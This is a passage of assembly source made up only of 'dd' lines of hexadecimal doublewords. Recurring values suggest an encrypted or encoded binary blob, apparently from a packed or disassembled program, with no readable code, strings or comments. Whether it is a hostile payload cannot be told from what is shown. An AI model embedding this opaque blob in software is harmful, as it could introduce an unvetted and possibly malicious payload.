		dd 1405A63Dh, 1A061132h, 18F538Dh, 7B664432h, 95BF50E7h
		dd 31CEF846h, 7D2D5B42h, 0CFCD0EFDh, 7472BDC5h,	9169F80Eh
		dd 15668363h, 1F84C552h, 730AFD57h, 7479C38Bh, 9169630Eh
		dd 15664BAFh, 156636DBh, 0FD168232h, 0B891F07Fh, 0F1E28B90h
		dd 0BF4F7214h, 0F34F6572h, 1A85B42Ah, 1565A7B6h, 1CE42D32h
		dd 75661132h, 0ADA80954h, 747BF5A9h, 9169C00Eh,	15660021h
		dd 156698DBh, 0CD0CFD32h, 462A0033h, 0E6709224h, 684E8270h
		dd 2E24BF8h, 1A662232h,	156600B5h, 156A6132h, 0B08C4432h
		dd 0BCF66C96h, 3809F509h, 29EDEAAAh, 0F4EF1516h, 1562E3B3h
		dd 0D4E71132h, 15668836h, 494248B5h, 156631DBh,	0CCECC532h
		dd 88B164DAh, 0F2F0069h, 0E4D97DC5h, 7799030Eh,	156A023Dh
		dd 9B694432h, 15662234h, 15669E3Dh, 9ED8832h, 0F7EF1616h
		dd 1562E0B3h, 0D7E51132h, 31720F36h, 0EFED246Eh, 156633DBh
		dd 0CB4E1432h, 9B750336h, 635AF16Eh, 54391B2Bh,	1A07DDB2h
		dd 156698B1h, 138F2432h, 61662232h, 0EE084C0Ah,	0EAD987CBh
		dd 316ACF53h, 9485AB61h, 156615F1h, 11A50B32h, 494258B5h
		dd 1563CA52h, 4EA81132h, 0FC68BB6Dh, 1566443Fh,	0C8FAE73Ch
		dd 0C09A8149h, 9A5357Ah, 0EA071D02h, 96380606h,	0D69A15F6h
		dd 36E34FCAh, 13605CABh, 1A662232h, 156619B3h, 17EA8732h
		dd 75664432h, 0A8337253h, 6FFA014Bh, 0D0E755C5h, 6FFA544Bh
		dd 143BCABBh, 4D7E9BC2h, 128FDE52h, 0C0664432h,	0A7DBD3DCh
		dd 9F3FFE2Ah, 1A06E9CBh, 156646B6h, 1A397132h, 7307D28Dh
		dd 7309B45Ah, 0A14240BBh, 738502C2h, 0EC06E46Ah, 9507B683h
		dd 9069C4C9h, 0EA99DCE4h, 1572913Dh, 1A8F8832h,	2C664432h
		dd 0AC825F38h, 12CEA31Fh, 0A0967CEAh, 0ED06CD5Ah, 156630DBh
		dd 0A4195F32h, 8B4A1B29h, 967CF9FBh, 0F15AC1C8h, 74ABE0ACh
		dd 0EA993765h, 0EB67BBCDh, 10E22D6Dh, 75661132h, 74AD48B2h
		dd 0D4E3CFCEh, 0FC603302h, 1566113Dh, 0AC6E4A71h, 49E217Bh
		dd 0DB6D720Ah, 9E7AB00Eh, 46CD9A7h, 9C34BC34h, 0C0EF77C0h
		dd 4F3BFABBh, 7D33D8CEh, 47BC0930h, 1783E36Fh, 2168E4B3h
		dd 0FDEFC35Bh, 4DA5456Fh, 17DF73CAh, 14661132h,	9E7F8BC3h
		dd 0D1E5603Eh, 1AE12D36h, 0FC661132h, 15668838h, 741AD90Ch
		dd 9CBBE8C9h, 0CD5DA628h, 154F0A3Dh, 9E694432h,	15662233h
		dd 83D971CBh, 9450EF32h, 7DE8C5D2h, 0CF5D435Fh,	0EB66973Dh
		dd 936977CDh, 15664435h, 1567AF3Dh, 42931132h, 33234D8Dh
		dd 4A9D6D0Bh, 0D6E7D91Bh, 2C4054F7h, 15670F3Dh,	439F4432h
		dd 1566248Ch, 9E953832h, 0D1E7AC06h, 15664436h,	99694252h
		dd 15661132h, 1566073Dh, 74074432h, 94068F54h, 58BC80E4h
		dd 739EE91Dh, 1E8FBC99h, 0B5662232h, 69DB3254h,	0EE109633h
		dd 94361313h, 156626DEh, 317A9832h, 9506D36Ah, 9E00CBF8h
		dd 75CD43E1h, 2B30F8B3h, 0E4D8E488h, 74560D1Eh,	15629961h
		dd 0CB671132h, 964294B9h, 946940F6h, 15662227h,	1569943Dh
		dd 1F8F8832h, 0F5664432h, 0F2F13715h, 0F657470Ah, 315A018Fh
		dd 3112CDCBh, 128E423Eh, 3661132h, 8E308A9Eh, 0AB00EA5Eh
		dd 1A3989D4h, 156617BDh, 15E68732h, 74664432h, 1B9797BBh
		dd 0FC9F1723h, 15668839h, 0C633B466h, 2ECE84ACh, 9E12D227h
		dd 9C33AC0Eh, 11A3C5D7h, 96662232h, 39E115F7h, 1C8FD416h
		dd 90664432h, 46914C73h, 932BA721h, 4E42BCCDh, 156280B3h
		dd 0A4062232h, 19ED7040h, 0F5EFD816h, 15664037h, 11A6A132h
		dd 494215B5h, 156684DBh, 0CDD28D32h, 52217CA9h,	762C6694h
		dd 157461ACh, 351D4432h, 85FAC0D1h, 793EA9A5h, 362CBF67h
		dd 84DAC1B3h, 454216B9h, 1163F1BBh, 10668832h, 15664436h
		dd 494226B5h, 0F5EF41CAh, 15668C37h, 11A6C732h,	24422601h
		dd 11553536h, 9169D416h, 15664433h, 0CA6BCBCBh,	9C69EECDh
		dd 1566883Ah, 15ED4B52h, 74662232h, 8C4594F5h, 15648E2Ah
		dd 9F694432h, 15662224h, 156600DBh, 0CFA1A532h,	265742F9h
		dd 9A94B00Ah, 0D456820Dh, 9C31858Eh, 11E713C5h,	936DDC16h
		dd 0FEE74A38h, 1FE083CCh, 0A369B86Dh, 9400423Ch, 75A91CE0h
		dd 1596068Dh, 7439121Eh, 12E82D53h, 75661132h, 9EAC373Dh
		dd 0ECE625F8h, 72E52DB2h, 0FC661132h, 1566883Dh, 81EE1A50h
		dd 0A6742A77h, 4FF88E13h, 94EB130Fh, 8E72EEF1h,	0ED8DA339h
		dd 14376768h, 0EDA509F9h, 94373268h, 8E7288D9h,	156FF839h
		dd 0EDB28832h, 50A67B74h, 92F4925Eh, 119944D9h,	0FEE1D516h
		dd 15C4ADCBh, 97692232h, 15661124h, 15686152h, 2CF74432h
		dd 4B27F795h, 2088C01Fh, 982AAC86h, 450025CBh, 0F44EDD86h
		dd 31629A54h, 75644CB1h, 96B7B353h, 730623F3h, 1A8FCBB9h
		dd 0A1668832h, 27E98BE1h, 0B614A5A6h, 0A076822Dh, 4007BDBAh
		dd 73A1FD63h, 0D4E722FDh, 0EA568B0Ah, 343F45BBh, 750619DBh
		dd 15662CDBh, 0D0511732h, 18B0989h, 7CEDCE6Ch, 0A4E950C9h
		dd 430770B1h, 355ADB8Ch, 4B956D4Dh, 0D6E7E91Bh,	6A462D61h
		dd 15700D3Dh, 48F4432h,	0C6662232h, 7FE8A885h, 69F673E5h
		dd 0A6E238D8h, 63DF2D61h, 25A794B9h, 0AD068E23h, 4EC89984h
		dd 9E077C60h, 46C40A7h,	156C6134h, 65754432h, 3FCD585Ah
		dd 0BF152519h, 210335B1h, 1A674223h, 15623AB6h,	0D65FE832h
		dd 11690A3Dh, 198F4432h, 0D4662232h, 2B9ECDABh,	312FCE28h
		dd 2C8CEB31h, 0D6E42DE1h, 0FC99EEC8h, 15668822h, 0E4D32F30h
		dd 0CCE0F7E8h, 6B835DCEh, 0AD150AE7h, 0C2E72252h, 0FC074FABh
		dd 156612E7h, 15670C3Dh, 0D29E4432h, 0DFF01B7h,	15661334h
		dd 14E18732h, 0ED664432h, 9ED74C7h, 11A29016h, 0FC668832h
		dd 1566443Ch, 8D7455CCh, 0A4623DB3h, 0BA29F9A0h, 0A36917B4h
		dd 1561CB3Ch, 6DBC1132h, 5E2A3218h, 959FC4E1h, 153FA13Dh
		dd 94691132h, 15668827h, 156654DBh, 78E4F532h, 300C55D4h
		dd 108B30C0h, 5C62C05Dh, 0B9DB77E8h, 0D46D8A24h, 0F8A78ADFh
		dd 6FA3C531h, 94206B57h, 0AC5909F7h, 488D89FAh,	0FEE78F33h
		dd 1A395F75h, 96AD96CBh, 0DEE189F3h, 15664CDBh,	0F13BFC32h
		dd 96AC08ABh, 15E16198h, 739A4432h, 0B4D07061h,	0D5ABF7B2h
		dd 0DB988DDCh, 9D62AAB2h, 0CC4E78C1h, 94694A54h, 15668833h
		dd 0E2370DCEh, 1A3F0626h, 156602BDh, 15686132h,	61444432h
		dd 846FF671h, 8A41FB9Bh, 0C7987236h, 1599FB65h,	0EC472232h
		dd 96422DB9h, 93698CF6h, 1566443Eh, 1560AE3Dh, 98691132h
		dd 15668832h, 3D94FC62h, 0FDA76F2Fh, 70DA3C34h,	9B4B8C19h
		dd 149D99CAh, 0DE4F7AF1h, 33FFAB3h, 138F8919h, 7C664432h
		dd 0C9FD04C3h, 0D4E39AD0h
		dd 0FC609902h, 1566443Bh, 0DBEC913Fh, 7D261F7Fh, 44F30358h
		dd 0FC605538h, 15662223h, 746798C0h, 0C05FF734h, 833A05D1h
		dd 8AE17546h, 70DB9296h, 14609906h, 170DC03Dh, 108F2232h
		dd 0AE661132h, 0F3D34610h, 97699C09h, 1566222Eh, 156E963Dh
		dd 1A068832h, 9E009E8Dh, 0C65F43E2h, 0EC76973Dh, 9E0677CDh
		dd 7494CFF3h, 0EA999D65h, 0EB67EECDh, 1577616Dh, 7D634432h
		dd 40DDCB8Bh, 3D42F15Eh, 6EC167F5h, 0A5B35020h,	11A6DC90h
		dd 46B0352Fh, 0F2E6C385h, 8CA9C402h, 9562C5F2h,	0FAE68BDDh
		dd 4E9EA832h, 0BF9E8B06h, 0CAD12D52h, 74B5AE3Dh, 156C053Dh
		dd 108F4432h, 9D662232h, 7A2DB9A4h, 15663361h, 0E6674432h
		dd 9ED29B8h, 11A29216h,	15668DDBh, 0ECB60932h, 0A334EFE8h
		dd 2592A146h, 317203C2h, 0FC6280B1h, 15662226h,	0A68129FCh
		dd 1DE8EFD6h, 0A546F627h, 3AF83894h, 7061FADCh,	156264B3h
		dd 11EF4432h, 35699216h, 138F49F3h, 1A668832h, 4CF71D35h
		dd 0E0AE2A19h, 1561F898h, 0F33F8832h, 0A68C393Ah, 9DA5A3CBh
		dd 3C025A7Fh, 9DD8DEC9h, 3C020F7Fh, 0FC067CC1h,	15661121h
		dd 4E7FB072h, 646522B2h, 75FDA8FCh, 2E027858h, 73B49123h
		dd 4007B3B9h, 1566268Fh, 9E8D3832h, 0D1E7AC1Eh,	15664436h
		dd 73EE9452h, 0BC81DAB3h, 24BEB953h, 0E9BE75F1h, 1D8F4299h
		dd 0EB661132h, 88DAB92Bh, 1AA8F350h, 7D07E585h,	15666F67h
		dd 0AA42B4BBh, 15664430h, 1A39DC33h, 156603BEh,	156B6132h
		dd 0E5D34432h, 33B0343Eh, 0B3ECB90h, 9C91A8FDh,	468B587h
		dd 1568CB34h, 91411132h, 0D3A4C1CEh, 3E34BCE2h,	0E34884CEh
		dd 156617DBh, 217F5332h, 0D20CA6EBh, 45247B7h, 15661034h
		dd 1D8FE832h, 77664432h, 5D40EE4Fh, 1AC73366h, 15669AB8h
		dd 156AAC32h, 0E1FC2232h, 0C2C5BB38h, 0DB2A47C8h, 743E128Dh
		dd 943C7660h, 156615F0h, 11A40B32h, 494250B5h, 0E1ADA352h
		dd 1A565645h, 15668BBAh, 0E2ED2232h, 317AA953h,	94859861h
		dd 15668CF1h, 11A5C732h, 49423EB5h, 0DEED4152h,	0CEE7EE68h
		dd 9E07F91Dh, 9C36063Eh, 156214D2h, 11638832h, 92664432h
		dd 0E93A0636h, 94809864h, 15668CF4h, 11A0C732h,	9E4216B5h
		dd 47933516h, 0AA316ABBh, 15664436h, 9639D833h,	1E115F0h
		dd 7593D416h, 1564C83Dh, 0D3ED2232h, 2F87A954h,	0CC136153h
		dd 1F8FBBCDh, 54662232h, 35F79F9Ch, 18CC9C6Bh, 0E3DD17ABh
		dd 0D4056801h, 942D14D9h, 0F0C8EBF1h, 4EB86DCEh, 4E42DCAh
		dd 0FC661132h, 1566883Eh, 1593EA6h, 23AA4F52h, 0D6C6A873h
		dd 9D8F3B61h, 317ACFEAh, 1562E6B3h, 9C691132h, 15668827h
		dd 1568AD52h, 4B782232h, 10F7FCDEh, 5BF655E9h, 0BA1988F6h
		dd 73068853h, 7954C0B3h, 74B00352h, 11E71253h, 89793D16h
		dd 31629A59h, 38624CB1h, 7EFA5B2Dh, 1567AE3Dh, 109E1132h
		dd 73FFFB5Ch, 9264B41Fh, 109E0B2Dh, 0AE113C2h, 8C15E61Fh
		dd 99692454h, 15662230h, 4607FDB8h, 15668C89h, 5E646932h
		dd 0CD4F4FC3h, 0E42D1337h, 9F69D35Fh, 15664423h, 156DA03Dh
		dd 138F1132h, 68668832h, 6B71C9CBh, 1A8F8925h, 43661132h
		dd 3B916B91h, 0CF5CEAC7h, 170434F2h, 9C353ECEh,	11A509D1h
		dd 40664432h, 1566268Fh, 488D1032h, 494294B5h, 317ACFCEh
		dd 9483AB67h, 156615F7h, 11A30932h, 92664432h, 0ED3A061Eh
		dd 4C4225CDh, 1A624CB1h, 156642BAh, 74064232h, 75074E64h
		dd 74B10354h, 404270B9h, 0D0E7C7BBh, 15661136h,	92624DB1h
		dd 753A601Eh, 1EB5D2B3h, 9F692631h, 15668823h, 15664FDAh
		dd 22E6B032h, 83D0BBBDh, 0D336F52Ch, 9C33256Ah,	11D975D7h
		dd 14661132h, 0D0E5D7CFh, 314AC336h, 1E8F426Eh,	8A661132h
		dd 6A62CA2Fh, 0E58CAC65h, 94007819h, 74FA9ADCh,	7FBC0852h
		dd 5D8F25CAh, 1A99DDE9h, 156617BAh, 0C6ECE832h,	1A072552h
		dd 15662AB3h, 5CD07132h, 0D0953354h, 36E38353h,	10603AABh
		dd 1A661132h, 156686BAh, 0D3E72432h, 3F3F5511h,	15669F3Dh
		dd 7D078832h, 15661D07h, 944216BBh, 3F03536h, 943D86D1h
		dd 0F670D2D9h, 0DAED423Ch, 0BB84AA54h, 11DCDA53h, 14664432h
		dd 3172A9E1h, 1562D5B3h, 1A9E8832h, 156645B2h, 0CC0EDE32h
		dd 9C661110h, 15DEAC36h, 14664432h, 4D7E21C2h, 15779F3Dh
		dd 9A698832h, 15664439h, 156624DBh, 88BCB832h, 9E668F92h
		dd 45685B7h, 14ED2D34h,	0E9661132h, 1F371DB9h, 1A064223h
		dd 0DDE7E28Dh, 6933C235h, 7E48753h, 0FC664432h,	1566223Fh
		dd 26A8EADh, 1DB67E75h,	0ED0B9085h, 14DC70FBh, 3C661132h
		dd 58FD2E4h, 33664432h,	8F2B205Fh, 0E4406610h, 0FF675857h
		dd 96E5F8FDh, 474138Fh,	91691034h, 15668EDAh, 157AC03Dh
		dd 0AD062232h, 3880AE98h, 156698DBh, 0DEFC0832h, 315C7A74h
		dd 0EA1F0FC8h, 11CE41B1h, 2E9A251Fh, 52E42DEAh,	0FC661132h
		dd 1566883Eh, 25EA241Fh, 9FA02EF2h, 0EED12431h,	0CBD98752h
		dd 1563AD52h, 25082232h, 738F5A20h, 0D4C77EB3h,	0CF5D2553h
		dd 145EA43Dh, 90691132h, 15668820h, 1563AC52h, 9BBD2232h
		dd 4F8E5E46h, 9A34568Dh, 0A0EF2508h, 13772CC3h,	36FB9ACAh
		dd 756090ABh, 73ADCF54h, 1C55F0B3h, 310A9053h, 0BE1B143Eh
		dd 313A4567h, 89DB773Eh, 1433BA4Fh, 4876AC5Eh, 15664BDBh
		dd 4D6EF932h, 9BEF18EEh, 0EF82E088h, 45DC62ECh,	15600DDBh
		dd 1569F832h, 0E5798832h, 5D8B4904h, 0E5980A17h, 0AAC96F6Dh
		dd 1C8FE833h, 4A664432h, 6DA1DA0h, 5FFB459Bh, 749D0354h
		dd 404278B9h, 0D0E7C7BBh, 15661136h, 15624DB3h,	39E14432h
		dd 0D29A7E16h, 47420B7h, 15668934h, 1572AD32h, 0E9AF2232h
		dd 22CD1CEEh, 8F35D862h, 7C50805Ah, 0E01C088Ah,	2199F760h
		dd 0D1E5D316h, 12E44B36h, 75662232h, 0AA697052h, 19EDE9F9h
		dd 0F7EF1616h, 1562E0B3h, 0D7E71132h, 15668836h, 494250B5h
		dd 1560AF3Dh, 9F061132h, 74A802D9h, 4B4270CDh, 1562E6B3h
		dd 9F691132h, 15668820h, 156649DBh, 0FD99FA32h,	675D7EF0h
		dd 420DDCFDh, 409303F6h, 0D0E7C7BBh, 15661136h,	92624DB1h
		dd 31ED601Eh, 14E42D16h, 0ED661132h, 0EAB3DEDBh, 0A8E5B1CDh
		dd 13771657h, 5CE21E33h, 1A668837h, 15664BBEh, 156CCB32h
		dd 863E1132h, 0FEEC3649h, 7E3AE031h, 25A7BF19h,	94691723h
		dd 1566883Fh, 15664CDBh, 0E6449C32h, 8467081Ch,	34EB03E3h
		dd 1A605503h, 156623B5h, 7306E832h, 0FC0DA389h,	15664434h
		dd 0EB87059Eh, 9407FABDh, 0E739AFF3h, 718FC556h, 1479374Ch
		dd 71A790EBh, 94799D4Ch, 0E73963DBh, 1572CB56h,	6381132h
		dd 25C0FE21h, 19FB8AE8h, 0D949AEBFh, 59994D4Ah,	0D4E761ACh
		dd 1CFC4CDBh, 16A5E3B3h, 0EC4F49F1h, 16A561B3h,	0FCE71CF1h
		dd 1CFC2ADBh, 1576F852h, 7D6E8832h, 0E651D050h,	3E97761Fh
		dd 0A5EDE227h, 9C6923C9h, 15664432h, 77104A53h,	9EF1132h
		dd 15633316h, 0CC4F4432h, 4434DE69h, 0FFEEE187h, 69A4086Bh
		dd 0F7E68ECCh, 9D94A257h, 753CC1BAh, 0FDA53F3Dh, 1566443Dh
		dd 8BBB736Eh, 462B943Ah, 0E46BFAD3h, 0FDC3ED30h, 15662234h
		dd 872B1B9Bh, 4B3E72C7h, 75CCBD53h, 1564A43Dh, 4C311132h
		dd 3FBD0960h, 4A5E9737h, 0F9E57253h, 316A9836h,	138FD16Ah
		dd 22664432h, 74E7C594h, 1C8FBAB4h, 7E668832h, 955688D5h
		dd 62787217h, 10869862h
		dd 15668836h, 1562FA64h, 0E5672232h, 3162966Ch,	19EF876Eh
		dd 0FC664432h, 15662235h, 15693527h, 0EA4EBA89h, 943D6006h
		dd 156626F6h, 19EDE932h, 0F6EFDB16h, 156287B3h,	0D6E52232h
		dd 317A9636h, 0A269E86Eh, 17E44BC4h, 75662232h,	21ED7053h
		dd 0F5EFD816h, 15664037h, 15622732h, 11E11132h,	9F06D416h
		dd 0E4E722E5h, 0E007795Dh, 1529855Ah, 316A0132h, 0D4E7A5BBh
		dd 15662236h, 9262D0B1h, 0ED3AAC3Eh, 15664DDBh,	0CC19F32h
		dd 60B46D2Ah, 0C98FB55Bh, 1A99BBE4h, 15662AB2h,	17EA1E32h
		dd 75668832h, 36E38353h, 17603AABh, 0EC661132h,	0DEEDEE52h
		dd 43072881h, 864216B3h, 4E536243h, 23F63062h, 704B0F27h
		dd 0D4590A0Eh, 465317D2h, 24A8C5C9h, 96691CF1h,	1566222Fh
		dd 1577F852h, 42658832h, 78D7DDBEh, 9C6D2361h, 0FB9BE31Ah
		dd 73E2B33Bh, 1952A2B3h, 1BD02D53h, 156614DBh, 1623B932h
		dd 0ECE612ACh, 67E52DB2h, 0FC661132h, 15668823h, 0DA1756B4h
		dd 3C77096Fh, 2F0C826Bh, 1C06586Ch, 7BA5C567h, 1479047Ch
		dd 7BDF40F9h, 3C79AE7Ch, 0FC061DF9h, 15662222h,	495649DEh
		dd 938B4305h, 0F8200293h, 0BAA14A21h, 0EAD94653h, 3C9977CDh
		dd 48F1BC9h, 3A662232h,	8176BDDEh, 2A73D71Fh, 50A74FEBh
		dd 921FF4A1h, 15668ADBh, 90697D32h, 1566443Bh, 9A69D752h
		dd 15661132h, 86D2D853h, 0D19880CCh, 25FC9460h,	0D1E64BC6h
		dd 4D87A0C2h, 15EB4B52h, 94662232h, 66414EE5h, 1A06E92Ch
		dd 4506B28Dh, 7438736Ah, 118A9053h, 9C668832h, 15DE6036h
		dd 3C662232h, 0FC3E80FAh, 15668837h, 0C5C10AF7h, 0C3DD71E1h
		dd 943B697Ah, 4017D4D9h, 8C8DC51Ah, 9413756Dh, 2D3CEEF1h
		dd 0ADBDD09h, 249D47E0h, 0CC477FD9h, 156EF869h,	588F8832h
		dd 7896785Dh, 0AD36606Eh, 15CA68DCh, 3C3E4B33h,	0FB8DC5F9h
		dd 0E9668E4Bh, 25A794B9h, 97698E23h, 1566443Fh,	1563CA52h
		dd 0EF591132h, 4DB9BC55h, 1BEC4B53h, 75662232h,	0E73FD2B3h
		dd 9969DA1Fh, 15664432h, 44F3A953h, 1A600038h, 156680B9h
		dd 17EB4B32h, 75662232h, 0EFC1F853h, 0D29F77CDh, 0DFF67B7h
		dd 15662034h, 0AA007132h, 43079C92h, 0B6EFC62h,	51573782h
		dd 4E3E1516h, 0B6E7BB3h, 1A8F5182h, 68662232h, 0E9A5CC06h
		dd 58B3C32Ch, 6A68F611h, 9F061043h, 0A36970F4h,	0AD00E83Ch
		dd 108F68C1h, 22662232h, 0B0E752FDh, 0AD00E853h, 94002045h
		dd 74931CE3h, 1AE6E8B2h, 1566B2B1h, 1575AD32h, 0E8542232h
		dd 0BA62639Ch, 92EAED17h, 493C4388h, 17E34573h,	0F3DF4047h
		dd 3C15D758h, 0DE671DF9h, 7F80E1B3h, 4593626Dh,	1566898Ah
		dd 4DA54532h, 1502CBCEh, 969E1132h, 9EF8CDEh, 3D99F316h
		dd 956979CBh, 15661133h, 191D9CBh, 1A271D16h, 156625BCh
		dd 14EE1E32h, 0E0668832h, 1599FB65h, 0EC472232h, 96422DB9h
		dd 1F8F8CF6h, 0F1664432h, 0FF5E79C3h, 0E0E81B92h, 0C5A5093Ch
		dd 3C3AF163h, 0C5DC70F9h, 3C3AA463h, 1E8FD2E1h,	33664432h
		dd 890F1050h, 47CBB673h, 90ED85BCh, 137774F3h, 156628DBh
		dd 12EB7832h, 597FCB95h, 0FC0199C2h, 15662223h,	0A2CA7015h
		dd 0B798C2DAh, 9FC9E770h, 9704B490h, 44F39AF8h,	75609938h
		dd 749EF33Dh, 21039FB1h, 1A671723h, 0EA9198B6h,	0CE54BCDh
		dd 0FC662232h, 15661126h, 0E2A621Eh, 52C8BCDEh,	0F542FA25h
		dd 0A611441Eh, 0AAD9A5C6h, 97699C09h, 15662215h, 1568943Dh
		dd 1A068832h, 156644B1h, 5A8A332h, 740B466Eh, 93695B0Bh
		dd 0EA99A9A8h, 1563AD3Dh, 46061132h, 4707716Bh,	15664588h
		dd 4FB00B32h, 80BF9052h, 1A11DD54h, 156656B5h, 156BCB32h
		dd 0A7261132h, 25753D8Fh, 6411B773h, 74B36388h,	316A9A64h
		dd 0FC624CB1h, 15664438h, 0F57324D5h, 0E3807E05h, 0AF34DE93h
		dd 512A122Ah, 3C3CF31Bh, 0DA790CBh, 0EC22C464h,	15632C62h
		dd 3C3E2232h, 479E49F3h, 0C5EE6180h, 964250B9h,	0BF9A26F6h
		dd 29A79152h, 21EC3364h, 74385543h, 118AA362h, 9C661132h
		dd 4C3EAC3Eh, 0E3D14B52h, 0FC077C64h, 15661123h, 3307A92Fh
		dd 4C2F61B9h, 0B0471B41h, 590C841Bh, 198F23A9h,	41664432h
		dd 0E20B4F01h, 0BD7476BAh, 0FC6AABD5h, 0EA9996E9h, 0A2697152h
		dd 95304BE1h, 743D2FEBh, 1566FE60h, 0D7E72232h,	5B79073Bh
		dd 0FFE77A33h, 5B79523Bh, 0EC3C20B8h, 1570963Dh, 48F8832h
		dd 71664432h, 0C181212Eh, 0E66432EFh, 0B2A5863Ch, 7C8ADEBDh
		dd 9169CA0Eh, 1566115Dh, 33D8DECBh, 9442883Ah, 78055BF4h
		dd 0E0A09015h, 42561E76h, 544CDB8Dh, 0E0A1A362h, 3C4A9FB7h
		dd 0E5EFD7CCh, 13EF4B6Ch, 75662232h, 74062982h,	50DDE853h
		dd 47248DB7h, 156631DAh, 994A5832h, 0A9BB5EEh, 4D68117Fh
		dd 0D851BC40h, 6AE3D39Ch, 0FC07D26Dh, 156645F1h, 156630DBh
		dd 0FB191432h, 1C56C349h, 10BA30B7h, 39D7748Ah,	40A6CE26h
		dd 0D0E76DBBh, 15664436h, 1562CFB3h, 39E11132h,	9EFD416h
		dd 1572AD16h, 6A9F2232h, 7DEF5A40h, 0EACD7DDFh,	8DA4F7F7h
		dd 19504363h, 0C90E7A2Eh, 9C668806h, 0E0EF601Eh, 0EC3BC9BBh
		dd 15661DDBh, 0E870ED32h, 0DD059898h, 0BE9E7DA8h, 14DE4182h
		dd 38668832h, 58E4247h,	6063D233h, 1676F934h, 9F06D02Ah
		dd 7443F0DAh, 156636DBh, 17CCB232h, 58C6EB46h, 0AEB3572h
		dd 612B2EEFh, 9D13FAB6h, 0AE35DD47h, 15664437h,	143DFFBBh
		dd 0FC064CD9h, 15668822h, 2312637Bh, 4FE4706Bh,	0A4FFE3Bh
		dd 0B89BA3EBh, 468CC554h, 0A23543BFh, 4D819145h, 0E3DF4FB2h
		dd 1A89C4EDh, 9D9BAA63h, 1A3D48DAh, 156689B9h, 7506B132h
		dd 156629DAh, 98A71232h, 0D76C745Dh, 20476DFBh,	0E5E7446Dh
		dd 7307151Dh, 7497C48Bh, 0D6E7BD98h, 1461447h, 0AB30EA1Bh
		dd 146BE47h, 0EC38B71Bh, 1562CEB3h, 29EF1132h, 15623716h
		dd 0EE4F4432h, 9400426Dh, 73D015F5h, 749FAD88h,	0D6579C03h
		dd 58FFA03h, 0F8661132h, 1AC24CD4h, 8DBCEB2h, 27833A9Ah
		dd 0BE26FF90h, 317A03CBh, 1086CD62h, 15662236h,	9262D1B1h
		dd 1A3AAC36h, 15665BB1h, 0CE42D32h, 0FC661132h,	15668826h
		dd 0B565435Bh, 764C911Fh, 3B95338Ch, 0C4F7892Bh, 0FB5B3BD8h
		dd 15639B63h, 0FBE71132h, 558BD152h, 0D3E78A33h, 558B7B52h
		dd 156AF86Bh, 2EA38832h, 4CEC1062h, 0F213FA8Ch,	0A833EFD4h
		dd 7E26CCCBh, 0AE6EFD63h, 0DDEFB68Dh, 488E106Bh, 15668EDBh
		dd 0C0A25932h, 0D62D8B72h, 1577923Dh, 198F8832h, 0B3664432h
		dd 54B9B9C5h, 5A02EC32h, 470BA4EAh, 0D7E7A6BBh,	15662236h
		dd 1562FBB3h, 1E18832h,	19EF1816h, 5E52D16h, 0FC661132h
		dd 15668839h, 0EA553A29h, 0DDFC91AFh, 73A3B199h, 9E00BECDh
		dd 0D1E76036h, 15662230h, 156602DBh, 587F6A32h,	7BF5D92Dh
		dd 50E7423h, 0A8DDC0C2h, 4E74A836h, 0EF84C552h,	1A60BE3Eh
		dd 156614B8h, 0C6E7EE32h, 2907E7DFh, 0BE22DF1h,	0FC661133h
		dd 15668834h, 0D3F7F8B7h, 0DE5AF2D7h, 146D953Dh, 1C8F8832h
		dd 1664432h, 5326EEA5h,	3349405h, 91694A0Eh, 1566450Eh
		dd 1567A33Dh, 29931132h, 38E287F8h, 75664433h, 74AE9D3Dh
		dd 30992C54h, 14130C3Dh, 73064432h, 9400F8B9h, 74B32EECh
		dd 0EA48B554h, 1507C13Dh, 90692232h, 15661133h,	17DFD9CEh
		dd 94664432h, 0BB01C8F3h, 94971041h, 0BB0162DBh, 4C67CE41h
		dd 15662ADBh, 49C57832h
		dd 376E7D0Ah, 0D10EB87Fh, 9C66220Ah, 0B7D1352Eh, 0D5A17FB2h
		dd 0D2E643D5h, 0DC81A2A2h, 3576FEB2h, 9869D3CAh, 15664433h
		dd 1AC61EC7h, 15676EB6h, 15636132h, 11284432h, 9EEF6DC9h
		dd 9C30353Eh, 11A009D4h, 94664432h, 156626F4h, 31529632h
		dd 7D37746Eh, 6D353B51h, 94422EB9h, 156615F6h, 88A70932h
		dd 9CE1E8B2h, 95697BFAh, 15661127h, 156698DBh, 472AD732h
		dd 38C89C85h, 8DB215D3h, 0F3F37591h, 149CAD8Eh,	1B8F2232h
		dd 70661132h, 5E71F89Ah, 802AC80Eh, 0C8BF7B0Dh,	75AF20A4h
		dd 1A9D373Dh, 156642BBh, 81B5A332h, 742EC546h, 156C6052h
		dd 94A94432h, 0D13E428Bh, 89BF7794h, 15660C3Dh,	0AF384432h
		dd 3FD8499Dh, 14D84753h, 14668832h, 0FC9A1AC3h,	15662335h
		dd 0C5D11E52h, 74A5373Dh, 2A4B2C67h, 943B7F34h,	0A2254FFFh
		dd 0D0E7C54Fh, 972EC4B7h, 39EDCBBBh, 11A29016h,	0FC668832h
		dd 1566443Bh, 0BDD27BB2h, 0A6446FBh, 15AB614Ah,	47064432h
		dd 156636DBh, 0BE87432h, 9E1DA617h, 11EE2A2Ah, 0BB4AE13Fh
		dd 5C1578E1h, 1A30D0DDh, 156644BEh, 7D077C32h, 15664F88h
		dd 0AB42BCBBh, 5F2326BAh, 56D3D4B3h, 9428453Eh,	7E7B7DC4h
		dd 16888570h, 0D3E7FCC5h, 1EE256ADh, 1A3879BBh,	156656B3h
		dd 156BCB32h, 0AF661132h, 0DFE522D8h, 267E72E7h, 0FC32A863h
		dd 1566113Bh, 11B318F8h, 0FD95E04Ah, 1533CB44h,	0FD061132h
		dd 15668821h, 0D04E6637h, 0A8CB2A04h, 0DA539AA4h, 469010E3h
		dd 732A01D2h, 4F600C89h, 7497D6B2h, 156264B3h, 11EF4432h
		dd 7F5B9A16h, 2FDF1228h, 24659258h, 198F1CF3h, 70662232h
		dd 4709D2A4h, 50B39BFAh, 0FC99AB1Dh, 15662235h,	50A52589h
		dd 0E6781B7Fh, 759E2496h, 0C3B1A354h, 9E0770E6h, 46CD9BFh
		dd 1574AD34h, 0DFA12232h, 0A80E6853h, 95EAD891h, 335E9353h
		dd 7B17811Eh, 9069D8B7h, 15668803h, 1AB5CF52h, 156624B8h
		dd 15E91E32h, 74668832h, 1F37F1BBh, 0FC062423h,	15661123h
		dd 93A2F48h, 64EFC6A9h,	0A1E4BEA6h, 4E54A529h, 0DC900851h
		dd 3152BB53h, 11A2A36Bh, 0E0661132h, 0ADB80952h, 1A0D891Bh
